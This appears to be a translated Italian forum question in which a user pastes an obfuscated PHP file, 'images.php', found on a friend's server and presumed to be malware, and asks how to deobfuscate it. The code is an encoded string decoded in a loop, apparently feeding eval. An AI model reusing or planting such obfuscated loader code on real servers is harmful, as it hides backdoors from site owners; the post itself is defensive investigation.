Due giorni fa un file chiamato "images.php" apparve sul server di un amico, che notò perché causava errori. Il file conteneva quanto segue. Questo codice è di origine sconosciuta e si presume che sia un malware, quindi NON ESEGUIRE .
<?php for($o=0,$e='&\'()*+,-.:]^_'{|,,,|-((.(*,|)')&(_(*,+)'(-(,+_(-(.(:(](^(_('({)]+'+{+|,&-^-_(^)](](^(_(^(:('(,-_(.-_(](:(,+_(-+_(--_('(.(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^('(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-('(:(.(,(.(.+_(-(.+'(,-_(.('(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,('(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+'(',&(:+{(.-^(_-_('-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(')](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^('('(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|('('(.(.+_(--^(,(.(:+{+_(-+'('+_(-(:('(:-_(,,&(,-_(.+{(,+_(-(:)]('+_(-(.+{(_+_(-(_+'+_(-)]+_(-(_(,(.(:('(')]+_(-,&(:+'+_(--^(.(.('(_(,-^(:('(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](:(_(:(,(,-_('+{(]-^(.('('-_+_(-(,(,(^(^-^+_(-('(,+'(:(_(:+|+_(-({('+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^(_(:(')](^-_(_(:(^+'(_+'('+_(-(](^(_+_(-(^+{(^+{(^(,+_(-(.(:,&(,(:(:(_(](.(_(:(_,&+_(-(_(]-_+_(-)](^,&(,({(:+'(:+|(,)](:({(]+'(.(:(:(,(]+{(:(.(^(:(^(.(,({(:(:(:('(]+'(:(_+_(-(.(.-_(:(^(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](:(^(^('(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:({+_(-)](.(,+_(--^(.(.(.(]+_(--^(_(.+_(--_(^+{(^(,(^({(:,&(,-_(:(^(,(:(.(](:(:(](:(_(.(^-^+_(-(:+_(-({(,,&(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(,+_(-(:(:)](.(.(,-^(.({+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+'(,+'(.+_(-(,(_+_(-)](:+{(,-_(.(_(:+'(:(](.(,(]-^+_(-('(,({('(^('(^(.+'(:(^+_(--_(.(](:(^+_(--_(.+|(^)]+_(-+|(:(](:('(.+_(-(,(:(.(,+_(--^(:)]('-^(]+|(:(_(^-^+_(-('(,('(:-^(,(_(,-_(.+{(,-_(.)]('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:(_+_(-+'(:(_(,(](_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:-^(,+'(:(_(_)](,(.+_(-)](:,&(:+'(:(^(:+|+_(-+'(.-_(:({(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(:+_(-({(.(^(:(^(:(](.+'(](_+_(-('(,(^('(^('(,(](:(_({(_(,(.-^(:(:(,,&(.+|(^({+_(-('(](:('(^(:+_(-(,+{(.(,(:(^(.-_(.-^(,-^(.(_+_(-+_(-(^-^(.+{(:(](.+|(,(](:(,+_(--^(.(:(:)](,(^+_(-+'(^(:(,+'(,(.(.+_(-(.,&+_(-)]('+{(],&(.-_(.-^(,-^(.(_+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+_(-(,+'(:+|(,(_(,-_(.+{(,-_(.)]('+_(-(]('(_,&(^-^+_(-(:+_(-({(,,&(.)](,+{(.(,+_(-)](:-^(:-^+_(-)](:(,(]+'(,-^(,(:(:(:(.+'(:(^(.(,+_(-(:(:)](.(.(,-^(.({(]+'(,-^(,(:(:(:(.+'(:(^(.(,(,(.(.-_(:+'(,('+_(-+'(^(:(,+'(,-^(:+_(-(.(^+_(-(_(:+{(,+{(:)](,)]+_(-+{(.+'(](_+_(-('(,(^(.-^(.(^(,(.(:(.+_(-)]+_(-(^(.(_+_(-)](.+'(^(^(.,&(,(](.(.(:+|(,(](.-_+_(-(_(.(.(:('+_(-({+_(-+'(^(:(,+'(,-^(:+_(-('(,(](:(_({(_(,(.(:(:(,(](:(_(](^(^+_(-(:(,(^(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-('+_(-(:(:('(:+'(^(,('(:(,(](.(^('(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](.(,(]+'(.+{(.(,(,+'(.+|(^+'+_(-(:(,)](:-^(:+|(],&('+'(^+_(-(:('(^+|(](](_+'(^(^+_(-+'(,-^(:+_(-(:(.(]+'(:+'(,+|(_+'(.+_(-(,-^(_(^(^(^+_(-(:(,(^('(.(:+'(,(^(:,&(,+|(.(:(:+_(-(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('(](](_(,+'(:(,+_(--^(.+{(^(^(,(_(,(.(:,&(:('(:(^(:(_+_(-(.(.(:(.(^+_(--_(:(_+_(--^(^(^(,(.(:+|(:(,(:(^(:(](,-_(:-^('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(,)](,+'(.)](^+'(^(^(]('+_(-(.(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{(_)]+_(-('+_(-(:(:+{(.+'+_(--^(.(,(](.(_,&(:-_(,(^(.+|(_)]+_(-(^(,-^(.(_(,(_(,+{(:-_(,(_(_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:(^(,+'(.+{(_)]+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(_('-^(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(.+'+_(-('(.,&(^('(,+_(-(:(](:+{(:('(,(:(,+|(,,&(.-_(.(.(:(](.(](^+'+_(--^(](.('+{(_(.(_(,(:+'(,+|(_(.('('(,({(.(](^({(.,&(,({(:,&(:('(,+|(:+'(,,&(_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(:(_,&+_(-(_(]-_+_(-)](^,&(,+|(:('(.,&(]+'(:(,(,(^(.(](:(,(,(.(.(.+_(-(_(,(](,+'(:-^(.+|(,-_(^)](,+|(:-_(:({(,({(:+_(-(^-_+_(-,&(,(^('(.(.+_(-(:(^(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,+_(-+_(-(:+'(,+|(_(.(:-^(,+'(:(_(_)]+_(-+{(,(^(:+{(,(_(,,&(:(_+_(--^(_(:(.,&+_(-)](.(,(](.(,('+_(-)](:+|('+_(-(.+'(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,(](:(_({+_(-('(.-_(:+'+_(-({(.(,(^-_+_(-(](](:(:+'(:({+_(-)](,+|(,(:(.(](:-_(:(](.(.(^(:(,(_(:(](:(:(:(^(,(_('+'+_(-+_(-(_-^(:-^(^(_(,(^(^-_+_(-+|(,(.(,,&(:-^(,-_(.('(:(^(.+{(:+'(,('(_,&+_(--_(])]+_(-)](:('(.,&+_(--_(.+_(-(,(](_(.('(.(,(:+_(--^+_(-(.+_(-+|(:(_(,)]('-^(,(_(:+|(,)](.+{(:+'(:(](:(:(^('+_(--^+_(--^(:('('-^(:('('+'(^+_(-(:('(.+{(_+_(-(_+'+_(-)](^(.(,({(:+'(:+|(,)](:({(]+'(:)](:('(,,&(.(,+_(-(_+_(--_(,(](:(_(:+|(_(,(:+'(,+|(_(.(.-^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('+{(],&(:)](:('(,,&(.(,(_)]+_(--_(,(](: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?>
Ho sostituito eval
con echo
, l'ho eseguito su phpfiddle e ottenuto più della stessa offuscazione, questa volta con più eval
di righe.
Qual è il modo migliore per deobfuscare questo tipo di cose in modo da poter capire cosa sta facendo?